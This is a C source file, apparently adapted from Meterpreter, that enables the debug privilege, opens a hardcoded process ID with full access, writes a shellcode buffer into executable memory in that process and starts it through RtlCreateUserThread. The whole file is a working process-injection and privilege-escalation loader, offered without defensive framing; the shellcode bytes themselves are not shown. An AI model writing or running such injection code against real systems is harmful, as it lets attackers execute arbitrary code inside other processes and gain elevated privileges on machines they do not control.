sedebug_rtlcreatethread.c

/*! @brief https://github.com/rapid7/meterpreter/blob/master/source/common/arch/win/remote_thread.c */
#include <windows.h>
#include <stdio.h>

typedef DWORD(WINAPI *prototype_RtlCreateUserThread)(
	HANDLE      ProcessHandle,
	PSECURITY_DESCRIPTOR  SecurityDescriptor,
	BOOL      CreateSuspended,
	ULONG     StackZeroBits,
	PULONG     StackReserved,
	PULONG     StackCommit,
	LPVOID     StartAddress,
	LPVOID     StartParameter,
	HANDLE      ThreadHandle,
	LPVOID     ClientID
);

unsigned char buf[] =
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VOID EnableSeDebug()
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tkp;

	// Get a token for this process. 

	if (!OpenProcessToken(GetCurrentProcess(),
		TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return;

	// Get the LUID for the Impersonate privilege. 
	int res = LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
		&tkp.Privileges[0].Luid);

	tkp.PrivilegeCount = 1;  // one privilege to set    
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	// Get the impersonate priv for this process. 
	res = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	printf("Completed!\n");
}

VOID Elevate()
{
	EnableSeDebug();
	HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 536);
	if (!proc) { printf("failed to open proc!\n"); return; };

	LPVOID lpBuf = VirtualAllocEx(proc, 0, 460 + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (!WriteProcessMemory(proc, lpBuf, buf, 460, 0))
	{
		printf("Failed!\n");
		return;
	}

	prototype_RtlCreateUserThread pfnRtlCreateUserThread = NULL;

	
	pfnRtlCreateUserThread = (prototype_RtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");


	HANDLE threadId = NULL;

	pfnRtlCreateUserThread(proc, NULL, 0, 0, 0, 0, lpBuf, 0, &threadId, NULL); 
	
	printf("WORKED!\n");

	return;
}

int main()
{
	Elevate();
	return 0;
}